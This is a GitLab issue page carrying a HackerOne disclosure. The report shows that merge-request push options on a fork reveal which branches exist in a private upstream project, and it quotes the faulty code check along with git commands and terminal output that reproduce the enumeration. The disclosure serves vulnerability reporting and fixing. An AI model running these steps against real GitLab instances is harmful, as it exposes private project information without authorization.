Skip to content

Private project branches can be leaked through a fork

HackerOne report #1710533 by shells3c on 2022-09-23, assigned to @dcouture:

Report | How To Reproduce

Report

Summary

If you have a fork of a private/restricted project, you can easily scan for its branch names via Push Options with that fork.

The problem is caused by app/services/merge_requests/push_options_handler_service.rb:67

    if push_options[:target] && !target_project.repository.branch_exists?(push_options[:target])  
        errors << "Target branch #{target_project.full_path}:#{push_options[:target]} does not exist"  

It doesn't check if the user has the access to the project repository or not, therefore leaking the information unintentionally

Steps to reproduce
  1. Victim creates a project, say victim/project
  2. Attacker forks that project: attacker/project
  3. Victim makes that project private
  4. From the attacker's terminal:
$ git clone https://gitlab.instance/attacker/project.git  
Cloning into 'project'...  
remote: Enumerating objects: 52, done.  
remote: Total 52 (delta 0), reused 0 (delta 0), pack-reused 52  
Receiving objects: 100% (52/52), 5.50 KiB | 268.00 KiB/s, done.  
Resolving deltas: 100% (6/6), done.  
$ cd project  
$ echo a > foo; git add -A; git commit -m .  
...  
$ # Let's check if this-branch-does-not-exist exists or not  
$ git push -o merge_request.create -o merge_request.target=this-branch-does-not-exist  
Username for 'https://gitlab.instance': attacker  
Password for 'https://attacker@gitlab.instance':  
Enumerating objects: 3, done.  
Counting objects: 100% (3/3), done.  
Delta compression using up to 8 threads  
Compressing objects: 100% (2/2), done.  
Writing objects: 100% (2/2), 345 bytes | 345.00 KiB/s, done.  
Total 2 (delta 1), reused 0 (delta 0), pack-reused 0  
remote:  
remote: ========================================================================  
remote:  
remote:              WARNINGS: Error encountered with push options  
remote:                          'merge_request.create'  
remote:     'merge_request.target=this-branch-does-not-exist': Target branch  
remote:    victim/project:this-branch-does-not-exist does not exist  
remote:  
remote: ========================================================================  
remote:  
To https://gitlab.instance/attacker/project.git  
   ...  
$ #The branch does not exist on victim/project, let's check if this-branch-exists exists or not  
$ echo b > foo; git add -A; git commit -m .  
...  
$ git push -o merge_request.create -o merge_request.target=this-branch-exists  
Username for 'https://gitlab.instance': attacker  
Password for 'https://attacker@gitlab.instance':  
Enumerating objects: 3, done.  
Counting objects: 100% (3/3), done.  
Delta compression using up to 8 threads  
Compressing objects: 100% (2/2), done.  
Writing objects: 100% (2/2), 345 bytes | 345.00 KiB/s, done.  
Total 2 (delta 1), reused 0 (delta 0), pack-reused 0  
To https://gitlab.instance/attacker/project.git  
   ...  
$ #No error -> the branch exists  
Output of checks

This bug happens on GitLab.com

Impact

Ability to enumerate branches of any private or restricted project if you have access to at least a fork

How To Reproduce

Please add reproducibility information to this section: